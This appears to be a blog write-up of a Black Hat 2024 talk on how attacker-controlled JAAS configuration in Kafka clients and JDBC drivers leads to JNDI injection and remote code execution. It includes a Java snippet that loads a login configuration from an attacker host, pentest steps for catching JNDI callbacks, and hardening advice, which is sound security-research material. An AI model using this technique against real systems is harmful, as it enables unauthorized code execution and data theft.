A Novel Attack Surface: Java Authentication and Authorization Service (JAAS)
This talk demonstrates a novel attack surface in the Java Authentication and Authorization Service (JAAS) where attacker-controlled configuration properties can lead to JNDI injection and Remote Code Execution (RCE). The researchers analyze how various Java libraries, including Kafka clients and JDBC drivers, improperly implement JAAS, allowing for the injection of malicious configuration objects. The presentation provides a methodology for identifying these vulnerabilities in Java libraries through sink analysis and static program analysis. A practical demonstration shows how to achieve RCE by manipulating JAAS configuration properties in common enterprise software.
How Attacker-Controlled JAAS Configurations Lead to Remote Code Execution
TLDR: Researchers at Black Hat 2024 demonstrated that the Java Authentication and Authorization Service (JAAS) can be weaponized when applications allow user-controlled configuration properties. By injecting malicious JNDI references into these properties, attackers can trigger remote code execution in common enterprise software like Kafka clients and various JDBC drivers. Security teams should audit their applications for any user-supplied input that influences JAAS configuration and prioritize patching affected libraries to versions that implement strict blacklisting.
Java security often feels like a game of whack-a-mole, but the recent research presented at Black Hat 2024 on the Java Authentication and Authorization Service (JAAS) highlights a fundamental architectural flaw that has been hiding in plain sight. For years, we have treated JAAS as a standard framework for managing authentication and authorization. However, the research proves that when developers expose JAAS configuration to user input, they are essentially handing the keys to the JVM over to an attacker.
The Mechanics of the JAAS Injection
At its core, JAAS relies on a configuration file to define which login modules should be used for authentication. The vulnerability arises when an application allows an attacker to influence the properties used to instantiate a LoginContext. If an attacker can control the java.security.auth.login.config system property or the configuration URL, they can point the application to a malicious configuration file hosted on an attacker-controlled server.
The attack flow is deceptively simple. Once the attacker forces the application to load a malicious JAAS configuration, they can specify a LoginModule that performs a JNDI lookup. By pointing this lookup to an evil JNDI server, the attacker can force the victim application to deserialize a malicious payload, leading directly to remote code execution. This is not a theoretical edge case; it is a direct path to system compromise in any environment where user input touches the configuration layer.
From Kafka to JDBC: A Widespread Surface
The researchers demonstrated this technique against the Apache Kafka client, specifically referencing CVE-2023-25194. In this scenario, the Kafka client allows users to define connection strings that include JAAS configuration parameters. By manipulating these parameters, an attacker can trigger the JNDI injection flow.
The impact extends far beyond messaging queues. Many JDBC drivers for databases like PostgreSQL, MySQL, and SQL Server, as well as big data tools like Cloudera Hive and Databricks, implement similar patterns. These drivers often allow users to specify connection properties that are passed into the JAAS framework. If you are a pentester, your target is any application that accepts a database connection string or a configuration file path from a user. If you can inject a java.naming.provider.url or manipulate the LoginModule class name, you have a high probability of achieving code execution.
Consider this simplified example of how an attacker might manipulate a connection property in a vulnerable JDBC driver:
// Attacker-controlled property injection
System.setProperty("java.security.auth.login.config", "http://attacker.com/malicious.config");
// The driver then initializes the LoginContext using the remote config
LoginContext lc = new LoginContext("KafkaClient", new MyCallbackHandler());
lc.login();
Once the lc.login() method is called, the JVM fetches the remote configuration, instantiates the malicious module, and executes the JNDI lookup. The result is a shell on the server running the application.
Real-World Engagement Strategy
During a penetration test, you should look for any functionality that allows users to define external resources, such as database connection strings, LDAP settings, or custom configuration files. If the application is written in Java, check if it uses JAAS for its internal security. If you find an input field that accepts a URL or a file path, attempt to point it to a server you control.
Use tools like http-server to host your malicious configuration files and a JNDI listener to catch the callback. If the application makes an outbound request to your server, you have confirmed the vulnerability. The impact is critical, as it allows for full system access, data exfiltration, and lateral movement within the network.
Defensive Hardening
Defending against this requires a shift in how we handle configuration. First, never trust user input when it comes to system properties or configuration paths. If you must allow users to configure connections, use a strict whitelist of allowed parameters and values. Never allow users to specify arbitrary URLs for configuration files.
Furthermore, update your dependencies. The maintainers of the affected libraries have started implementing blacklists to prevent the loading of dangerous login modules. While blacklisting is rarely a perfect solution, it provides a necessary layer of defense against known attack vectors. Finally, disable any unused login modules, particularly those that perform network lookups, to reduce your attack surface.
The industry has spent years focusing on deserialization vulnerabilities, but this research shows that the configuration layer is just as dangerous. As we continue to build complex, interconnected systems, the way we handle authentication frameworks like JAAS will remain a primary target for attackers. Stop treating configuration as static data and start treating it as a potential execution vector. If you are currently auditing a Java-based application, this is the first place you should look.
CVEs
Vulnerability Classes
Tools Used
Target Technologies
Attack Techniques
OWASP Categories
All Tags
Up Next From This Conference

BestFit: Unveiling Hidden Transformers in Windows ANSI

Wi-Fi Calling: Revealing Downgrade Attacks and Not-so-private Private Keys

The CVSS Deception: How We've Been Misled on Vulnerability Severity
Similar Talks

Inside the FBI's Secret Encrypted Phone Company 'Anom'

Kill List: Hacking an Assassination Site on the Dark Web

